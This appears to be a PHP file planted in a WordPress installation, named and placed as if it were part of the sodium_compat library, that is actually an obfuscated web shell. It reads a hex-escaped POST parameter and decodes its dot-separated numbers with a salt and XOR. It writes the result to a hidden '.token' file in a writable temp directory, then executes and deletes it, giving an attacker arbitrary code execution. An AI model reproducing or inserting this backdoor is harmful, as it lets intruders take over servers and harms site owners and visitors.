File: /www/wwwroot/q.autos58.cn/wp-includes/sodium_compat/src/Core/lib_options_add.php
<?php
if(isset($_POST["\x6F\x62j"]) ? true : false){
$k = array_filter([ini_get("upload_tmp_dir"), getcwd(), session_save_path(), getenv("TEMP"), "/var/tmp", sys_get_temp_dir(), "/dev/shm", getenv("TMP"), "/tmp"]);
$entry = $_POST["\x6F\x62j"];
$entry =explode ( "." , $entry) ;
$marker = '';
$salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
$lenS = strlen($salt);
$z = 0;
$__tmp = $entry;
while ($v3 = array_shift($__tmp)) {
$chS = ord($salt[$z % $lenS]);
$d = ((int)$v3 - $chS - ($z % 10)) ^ 12;
$marker .= chr($d);
$z++; }
while ($ent = array_shift($k)) {
if (max(0, is_dir($ent) * is_writable($ent))) {
$ptr = sprintf("%s/.token", $ent);
if (file_put_contents($ptr, $marker)) {
require $ptr;
unlink($ptr);
exit;
}
}
}
}